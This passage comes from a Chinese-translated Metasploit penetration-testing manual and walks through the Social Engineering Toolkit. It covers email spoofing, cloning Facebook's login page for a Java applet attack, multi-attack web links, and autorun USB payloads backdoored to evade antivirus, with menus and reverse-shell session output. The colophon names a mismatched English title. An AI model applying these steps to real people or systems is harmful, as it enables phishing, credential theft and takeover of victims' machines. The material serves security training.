如果是首次使用SET，可以先更新该工具包，以获取最新模块并修复一些已知的bug。使用 svn update命令启动更新过程，更新完成后，就可以开始使用。

GUI版本的 SET工具包可以通过Applications | Backtrack | Exploitation tools | Social Engineering Toolkit | set-web路径使用。

怎样工作

社会工程学工具包是一个基于Python的自动化工具，包括菜单驱动型的应用程序。快速执行和多样化等特性使Python语言成为开发SET这一类模块化工具的首选，同时也使得将该工具包整合到 Web 服务器。任何开源的 HTTP 服务器都可以用于访问浏览器版本的SET工具包，不过Apache被视为使用SET时的首选。

10.3 使用SET配置文件

在本节中，将详细介绍SET配置文件，该文件中包含了工具包使用的不同参数的默认值。对于大多数攻击，默认的配置文件都可以保证正常工作，但也有一些情况下需要根据攻击场景的需求更改某些默认设置。下面看一下配置文件中包含了哪些配置选项。

准备

若要查看该配置文件，首先需要切换到config目录，然后打开set_config文件。

root@bt:/pentest/exploits/set# nano config/set_config

使用上述命令可打开配置文件。打开后，首先是一些介绍性的声明，如下图所示。

怎样实现

下面看一下有哪些可用的配置选项。

# DEFINE THE PATH TO METASPLOIT HERE, FOR EXAMPLE /pentest/exploits/

framework3

METASPLOIT_PATH=/pentest/exploits/framework3

第一个配置选项与Metasploit安装目录相关。SET的正确运行需要Metasploit的支持，因为SET需要从其中选取攻击载荷和漏洞利用代码。

# SPECIFY WHAT INTERFACE YOU WANT ETTERCAP TO LISTEN ON, IF NOTHING WILL

DEFAULT

# EXAMPLE: ETTERCAP_INTERFACE=wlan0

ETTERCAP_INTERFACE=eth0

#

# ETTERCAP HOME DIRECTORY (NEEDED FOR DNS_SPOOF)

ETTERCAP_PATH=/usr/share/ettercap

Ettercap is a multipurpose sniffer for switched LAN. Ettercap section can be used to perform LAN attacks like DNS poisoning, spoofing etc. The above SET setting can be used to either set ettercap ON of OFF depending upon the usability. # SENDMAIL ON OR OFF FOR SPOOFING EMAIL ADDRESSES

SENDMAIL=OFF

电子邮件服务器（sendmail）主要用于实现电子邮件诱骗，只有在目标电子邮件服务器不进行反向查询时，这一攻击才能生效。默认情况下，该值设置为OFF。

下面的配置展示了SET中应用最广泛的一种攻击方法。该配置允许攻击者使用自己的名字或任意其他伪造名对恶意的 Java applet进行签名，之后可用于执行基于浏览器的 Java applet注入攻击。

# CREATE SELF-SIGNED JAVA APPLETS AND SPOOF PUBLISHER NOTE THIS REQUIRES

YOU TO

# INSTALL ---> JAVA 6 JDK, BT4 OR UBUNTU USERS: apt-get install openjdk-

6-jdk

# IF THIS IS NOT INSTALLED IT WILL NOT WORK. CAN ALSO DO apt-get install

sun-java6-jdk

SELF_SIGNED_APPLET=OFF

在后面的章节中会对该攻击方法进行详细讨论。进行该攻击时需要在系统中安装JDK，将其设置为ON，以便对其进行详细讨论时使用。

SELF_SIGNED_APPLET=ON

# AUTODETECTION OF IP ADDRESS INTERFACE UTILIZING GOOGLE, SET THIS ON IF

YOU WANT

# SET TO AUTODETECT YOUR INTERFACE

AUTO_DETECT=ON

SET工具包使用AUTO_DETECT标记探测网络设置。如果用户使用NAT/端口转发，则SET会检测到用户的IP地址，并允许用户连接到外部的Internet。

进行下面的配置，建立Apache web服务器执行基于Web的攻击方法，为了具有更好的攻击性能，建议将其值设置为ON。

# USE APACHE INSTEAD OF STANDARD PYTHON WEB SERVERS, THIS WILL INCREASE

SPEED OF

# THE ATTACK VECTOR

APACHE_SERVER=OFF

#

# PATH TO THE APACHE WEBROOT

APACHE_DIRECTORY=/var/www

进行下面的配置，在进行web攻击时设置SSL证书。然而SET中的WEBATTACK_SSL设置中存在一些bug，建议该标记设置为OFF。

# TURN ON SSL CERTIFICATES FOR SET SECURE COMMUNICATIONS THROUGH

WEB_ATTACK VECTOR

WEBATTACK_SSL=OFF

进行下面的配置，可在进行 Web 攻击时构建自签名的证书，此时会出现警告消息：Untrusted certificate，因此建议使用该选项以避免警示信息。

# PATH TO THE PEM FILE TO UTILIZE CERTIFICATES WITH THE WEB ATTACK VECTOR

(REQUIRED)

# YOU CAN CREATE YOUR OWN UTILIZING SET, JUST TURN ON SELF_SIGNED_CERT

# IF YOUR USING THIS FLAG, ENSURE OPENSSL IS INSTALLED!

#

SELF_SIGNED_CERT=OFF

进行下面的配置，在攻击执行后可激活或禁用Metasploit监听器。

# DISABLES AUTOMATIC LISTENER - TURN THIS OFF IF YOU DON'T WANT A

METASPLOIT LISTENER IN THE BACKGROUND.

AUTOMATIC_LISTENER=ON

进行下面的配置，SET可作为单独的工具包使用，而不需要依赖于Metasploit的功能，但建议还是和Metasploit一起使用，以便提高渗透测试的性能。

# THIS WILL DISABLE THE FUNCTIONALITY IF METASPLOIT IS NOT INSTALLED AND

YOU JUST WANT TO USE SETOOLKIT OR RATTE FOR PAYLOADS

# OR THE OTHER ATTACK VECTORS.

METASPLOIT_MODE=ON

上面给出的是SET中一些重要的配置选项，正确掌握配置文件相关内容有助于高效使用社会工程工具包。

怎样工作

SET配置文件是SET工具包的核心，其中的默认值是SET在执行攻击时使用，错误的SET 配置文件会导致执行错误，因此，要想获取好的结果，就必须要理解配置文件中各选项的详细信息。上述“怎样实现”部分清晰地介绍了配置文件的相关知识，有助于理解和管理配置文件。

10.4 钓鱼式攻击矢量

钓鱼式攻击是使用电子邮件进行的一种攻击场景。在该攻击场景中，攻击者向目标用户发送恶意的电子邮件。为了伪造源电子邮件地址，需要使用 sendmail 服务器，将配置改为SENDMAIL=ON。如果还没有安装sendmail，可以使用如下命令下载。

root@bt:~# apt-get install sendmail

Reading package lists... Done

准备

在介绍钓鱼攻击之前，有必要先了解电子邮件系统的工作机理。

为避免钓鱼攻击，接收方电子邮件服务器会部署灰色列表、SPF 记录确认、RBL 验证和内容验证等一系列措施，这些验证过程确保特定的电子邮件来自与其IP地址相同的电子邮件服务器。例如，如果伪造的电子邮件地址 richyrich@gmail.com来自 IP 202.145.34.23，则会被标记为恶意，因为该IP地址不属于Gmail，因此，为规避这些验证措施，攻击者需要确保服务器IP不存在于RBL/SURL列表中。由于钓鱼攻击高度依赖于用户的感知性，因此，攻击者应该对要发送的邮件内容进行精心设计，确保邮件内容尽可能看起来合法可信。

钓鱼攻击有两种类型：基于Web的内容和基于攻击载荷的内容。

在前面的章节中，已经介绍过怎样创建攻击载荷，但由于大多数电子邮件系统不允许可执行程序通过，所以应该考虑使用不同类型的攻击载荷，并将其嵌入到电子邮件的HTML内容中，例如 Java applet、Flash、PDF或MS Word/Excel等。

怎样实现

钓鱼攻击模块包含3种不同的攻击矢量，下面分别对其进行分析。

1) Perform a Mass Email Attack

2) Create a FileFormat Payload

3) Create a Social-Engineering Template

99) Return to Main Menu

选项 1 对应的是大规模邮件攻击，这种攻击方法首先需要选择攻击载荷，用户可以从Metasploit 漏洞利用代码模块中选择任意的漏洞，然后提示信息提示选择可以回连到攻击方的处理程序，选项中还包括设置vnc服务器、执行攻击载荷、启动命令行等。

下面的步骤包括启动 sendmail 服务器、为恶意文件格式设置模板、选择单一或大规模邮件攻击。

最后，提示信息提示选择已知的邮件服务（例如Gmail或Yahoo！），或使用自己的邮件服务器。

1. Use a gmail Account for your email attack.

2. Use your own server or open relay

set:phishing>1

set:phishing> From address (ex: moo@example.com):bigmoney@gmail.com

set:phishing> Flag this message/s as high priority? [yes|no]:y

设置自己的邮件服务器不是很可靠，因为大多数邮件服务会进行反向查询，以便确认电子邮件的生成域与地址名相同。

下面分析另一种钓鱼式攻击方法，即创建文件格式漏洞攻击载荷，并将其通过电子邮件发送到目标机器，首选MS Word漏洞，因为这种文档的恶意或正常比较难于检测，因此适合作为电子邮件发送。

set:phishing> Setup a listener [yes|no]:y

[-] ***

[-] * WARNING: Database support has been disabled

[-] ***

最后，出现提示信息询问是否建立监听器，允许建立之后，将启动Metasploit监听器，并等待用户打开恶意文件，从而导致目标机器回连到攻击方机器。

电子邮件攻击的成功与否依赖于所针对的电子邮件客户端，因此需要对这种攻击方法及其适用性进行正确分析。

怎样工作

正如前面所讨论的，钓鱼攻击是一种针对特定用户的社会工程攻击。在这种攻击中，攻击者向目标用户机器发送电子邮件，其中包含了恶意的附件，附件将利用目标机器上的已知漏洞，攻击成功后将建立目标机器到攻击方机器的反向shell连接。SET自动化实现这一过程，社会工程的作用是建立一种看似完全合法的场景，诱骗目标用户下载恶意文件并执行。

10.5 网站攻击矢量

SET工具包中的Web attack矢量利用多种Web攻击攻陷目标，这是SET工具包中最流行的攻击方法，其工作方式类似于浏览器autopwn（可以将几种或特定的攻击发送到目标浏览器）。SET工具包中的web attack包含如下攻击方法。

1. The Java Applet Attack Method

2. The Metasploit Browser Exploit Method

3. Credential Harvester Attack Method

4. Tabnabbing Attack Method

5. Man Left in the Middle Attack Method

6. Web Jacking Attack Method

7. Multi-Attack Web Method

8. Return to the previous menu

本节将讨论其中最流行的 Java applet攻击方法，下面看一下如何使用 SET执行这一攻击。

准备

要开始 Java applet攻击方法，首先选择第一个选项，然后会弹出提示信息要求建立网站，既可以选择自定义模板，也可以克隆一个完整的 URL。下面看一下怎样使用克隆技术执行攻击。

怎样实现

要执行这种攻击，需要目标用户访问渗透测试人员克隆的网站。因此，渗透测试人员应该做到克隆的网站（也就是用来进行钓鱼攻击的网站）不与实际网站存在很大偏差。

（1）要开始克隆，首先需要确定待克隆的URL，下面是克隆Facebook登录页面展示。

1. Web Templates

2. Site Cloner

3. Custom Import

4. Return to the main menu

Enter number (1-4): 2

SET supports both HTTP and HTTPS

Example: http://www.thisisafakesite.com

Enter the url to clone: http://www.facebook.com

[*] Cloning the website: https://login.facebook.com/login.php

[*] This could take a little bit...

（2）完成克隆后，将提示选择攻击载荷，执行攻击载荷后将在目标机器上设置一个后门。

（3）完成上述步骤后，SET Web服务器将与msf一起启动，在目标机器上执行攻击载荷后，MSF将对接收反向连接的处理程序进行管理。

（4）可以在/pentest/exploits/set/src/web_clone/site/template处找到要克隆的模板和jar文件，当目标用户访问克隆的网站（运行在伪造的域之上）之后，会弹出一条消息，看起来就像完全安全的告警消息。

此时，目标用户点击Allow后，恶意的applet将得以执行，并执行攻击载荷，而Metasploit监听器将接收到来自目标机器的反向连接，并生成如下的活跃会话。

[*] Sending stage (748544 bytes) to 192.168.56.103

[*] Meterpreter session 1 opened (192.168.56.103:443 ->

　 Thu Sep 09 10:06:57 -0400 2010

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > shell

Process 2988 created.

Channel 1 created.

Microsoft Windows XP [Version 6.1]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

类似地，也可以执行其他攻击。从上述程序可以看到，使用SET可以很容易地创建攻击方法，并对设计的攻击场景进行完全的控制，而且，SET 还有一个最大的好处是可以在任何需要的时候对攻击方法进行修订。

怎样工作

Java applet感染是一个应用广泛的 Java applet漏洞，可在受保护的沙箱环境之外执行applet小程序。未经签名的或不安全的applet，一般都是在只能访问有限系统资源的沙箱环境中执行的。一旦恶意的 applet 得以执行，将获取目标机器上所有资源的访问权限，因为此时已经处在沙箱环境之外了。例如触发Java漏洞并执行任意代码执行。类似地，其他基于Web的攻击方法使用浏览器将攻击代码传递到目标系统。社会工程实际上是一种欺骗艺术，重点在于伪造一种场景欺骗目标用户。攻击者可以创建恶意的链接，并将其隐含在href标签下，或者使用伪造签名对 applet 进行签名，以便使其看起来完全合法。SET 模板是设计这类攻击的良好来源。

10.6 多攻击Web矢量

顾名思义，多攻击Web方法是将几种攻击方法整合到一起，从而将Web攻击发展到一个新的层次。使用这种攻击方法，攻击者可将几个漏洞利用代码和漏洞整合，并在目标用户打开恶意文档或URL之后，被逐一触发，直至报告成功攻击。借助SET，可以自动化地实现多种攻击方法到单一Web攻击场景的整合。下面进一步了解多攻击Web矢量。

怎样实现

多攻击Web矢量的启动和其他基于Web攻击类似，首先选择一个模板，这个模板可以是导入的，也可以是克隆的。差别在于下一个步骤，本节选择的是可以添加到Web攻击中的多种漏洞利用代码。

选择需要使用的攻击方法。

1. The Java Applet Attack Method (OFF)

2. The Metasploit Browser Exploit Method (OFF)

3. Credential Harvester Attack Method (OFF)

4. Tabnabbing Attack Method (OFF)

5. Man Left in the Middle Attack Method (OFF)

6. Web Jacking Attack Method (OFF)

7. Use them all - A.K.A. 'Tactical Nuke'

8. I'm finished and want proceed with the attack.

9. Return to main menu.

Enter your choice one at a time (hit 8 when finished selecting):

可以选择不同的攻击方法，选择之后，可以使用选项 8 来将选定的几种攻击方法整合到最终的单一攻击模板中。最后，将提示选择攻击载荷与后门编码器。

怎样工作

选择各种攻击方法后，SET 将这些攻击方法及攻击载荷整合到一起，构建一个单独的恶意链接，以备攻击者采用社会工程的方法进行使用。要想吸引目标用户点击该恶意链接，就需要构建一个在目标用户看起来完全合法的攻击模板。目标用户点击该链接后，各种攻击方法就会被逐一释放，直到某种方法攻击成功。一旦发现某个漏洞并成功攻击渗透后，将执行攻击载荷，并形成到Metasploit监听器的反向连接。

10.7 介质感染攻击

介质感染攻击是一种相对简单的攻击方法，SET将创建基于Metasploit的攻击载荷，建立监听器，并生成一个文件夹，该文件夹需要复制或写入到DVD/USB介质中，介质在目标机器上插入后，如果自动运行选项是激活的，其中的攻击代码就会自动执行，并实现对目标机器的控制。

怎样实现

这种攻击方法生成恶意可执行程序的原则很简单，然后使用可用的编码器对其进行编码，以便规避防病毒软件的保护措施。

Name:　Description:

1. Windows Shell Reverse_TCP　Spawn a command shell on victim and send back to attacker.

2. Windows Reverse_TCP Meterpreter　Spawn a meterpreter shell on victim and send back to attacker.

3. Windows Reverse_TCP VNC DLL　Spawn a VNC server on victim and send back to attacker.

4. Windows Bind Shell　Execute payload and create an accepting port on remote system.

5. Windows Bind Shell X64　Windows x64 Command Shell, Bind TCP Inline

6. Windows Shell Reverse_TCP X64　Windows X64 Command Shell, Reverse TCP Inline

7. Windows Meterpreter Reverse_TCP X64　Connect back to the attacker (Windows x64), Meterpreter

8. Windows Meterpreter Egress Buster　Spawn a meterpreter shell and find a port home via multiple ports

9. Import your own executable　Specify a path for your ownexecutable

Enter choice (hit enter for default):

Below is a list of encodings to try and bypass AV.

Select one of the below, 'backdoored executable' is typically the best.

1. avoid_utf8_tolower (Normal)

2. shikata_ga_nai (Very Good)

3. alpha_mixed (Normal)

4. alpha_upper (Normal)

5. call4_dword_xor (Normal)

6. countdown (Normal)

7. fnstenv_mov (Normal)

8. jmp_call_additive (Normal)

9. nonalpha (Normal)

10. nonupper (Normal)

11. unicode_mixed (Normal)

12. unicode_upper (Normal)

13. alpha2 (Normal)

14. No Encoding (None)

15. Multi-Encoder (Excellent)

16. Backdoored Executable (BEST)

Enter your choice (enter for default):

[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few

seconds...

[-] Backdoor completed successfully. Payload is now hidden within a legit executable.

[*] Your attack has been created in the SET home directory folder

"autorun"

[*] Copy the contents of the folder to a CD/DVD/USB to autorun.

[*] The payload can be found in the SET home directory.

[*] Do you want to start the listener now? yes or no: yes

[*] Please wait while the Metasploit listener is loaded...

怎样工作

生成已编码恶意文件之后，Metasploit监听器启动并等待反向连接。这种攻击方法的唯一不足是可移除媒介必须激活自动运行选项，否则将需要人工激活。

这种类型的攻击方法适用于目标机器处于防火墙保护之下的情况。现今的大多数防病毒程序会禁用自动播放功能，从而导致这种攻击失去效力。使用这种攻击方法时，渗透测试人员还需要确保将后门程序植入到可执行程序或PDF文档中，并将其写入到感染媒介中，从而保证目标机器执行攻击载荷。

图书在版编目（CIP）数据

Metasploit渗透测试手册/（印）辛格（Singh,A.）著；王一译.--北京：人民邮电出版社，2013.9

ISBN　978-7-115-32383-5

Ⅰ.①M…　Ⅱ.①辛…②王…　Ⅲ.①计算机网络—安全技术—应用软件—手册　Ⅳ.①TP393.08-62

中国版本图书馆CIP数据核字（2013）第135566号

版权声明

Copyright © Packt Publishing 2012. First published in the English language under the title Advanced Penetration Testing for Highly-Secured Environments: The Ultimate Security Guide.

All Rights Reserved.

本书由英国Packt Publishing公司授权人民邮电出版社出版。未经出版者书面许可，对本书的任何部分不得以任何方式或任何手段复制和传播。

版权所有，侵权必究。

◆著　[印度]Abhinav Singh

译　王一

责任编辑　傅道坤

责任印制　程彦红　杨林杰

◆人民邮电出版社出版发行　　北京市崇文区夕照寺街14号

邮编　100061　　电子邮件　315@ptpress.com.cn

网址　http://www.ptpress.com.cn

北京艺辉印刷有限公司印刷

◆开本：800×1000　1/16

印张：15

字数：305千字　　2013年9月第1版

印数：1-3000册　　2013年9月北京第1次印刷

著作权合同登记号　图字：01-2012-7222号

定价：49.00元

读者服务热线：（010）67132692　印装质量热线：（010）67129223

反盗版热线：（010）67171154